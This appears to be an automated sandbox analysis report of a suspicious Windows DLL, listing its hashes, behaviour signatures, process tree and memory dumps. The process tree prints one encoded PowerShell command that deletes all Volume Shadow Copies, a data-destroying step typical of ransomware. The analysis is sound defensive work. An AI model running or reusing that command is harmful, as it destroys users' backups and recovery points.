Analysis

  • max time kernel
    120s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    24-01-2022 00:54

General

  • Target

    dad3431f42dd3bac7fa36ed24b40bfb6e8d7ccce71c325ee0c068e7b1a1de1ad.dll

  • Size

    116KB

  • MD5

    a43259f30640f6f2e0f03e94b813237f

  • SHA1

    17e25c096c068f407fa9b5a69672f0e86b743ec0

  • SHA256

    dad3431f42dd3bac7fa36ed24b40bfb6e8d7ccce71c325ee0c068e7b1a1de1ad

  • SHA512

    f53925f4ec297f114310eb9f2b078b710fdf789df322b825730634de38e0ab320e6942fca18999198db04e916a1642824610b337f27bcb903a8814fa9d073607

Score
6/10

Malware Config

Signatures

  • Enumerates connected drives 3 TTPs 24 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs

Processes

  • C:\Windows\system32\rundll32.exe
    rundll32.exe C:\Users\Admin\AppData\Local\Temp\dad3431f42dd3bac7fa36ed24b40bfb6e8d7ccce71c325ee0c068e7b1a1de1ad.dll,#1
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:748
    • C:\Windows\SysWOW64\rundll32.exe
      rundll32.exe C:\Users\Admin\AppData\Local\Temp\dad3431f42dd3bac7fa36ed24b40bfb6e8d7ccce71c325ee0c068e7b1a1de1ad.dll,#1
      2⤵
      • Enumerates connected drives
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1176
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:472
  • C:\Windows\system32\wbem\unsecapp.exe
    C:\Windows\system32\wbem\unsecapp.exe -Embedding
    1⤵
      PID:1184
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1108

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

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    Downloads

    • memory/472-55-0x000007FEFB7E1000-0x000007FEFB7E3000-memory.dmp
      Filesize

      8KB

    • memory/472-57-0x0000000002580000-0x0000000002582000-memory.dmp
      Filesize

      8KB

    • memory/472-58-0x0000000002582000-0x0000000002584000-memory.dmp
      Filesize

      8KB

    • memory/472-59-0x0000000002584000-0x0000000002587000-memory.dmp
      Filesize

      12KB

    • memory/472-56-0x000007FEF2B40000-0x000007FEF369D000-memory.dmp
      Filesize

      11.4MB

    • memory/472-60-0x000000000258B000-0x00000000025AA000-memory.dmp
      Filesize

      124KB

    • memory/1176-54-0x0000000074F01000-0x0000000074F03000-memory.dmp
      Filesize

      8KB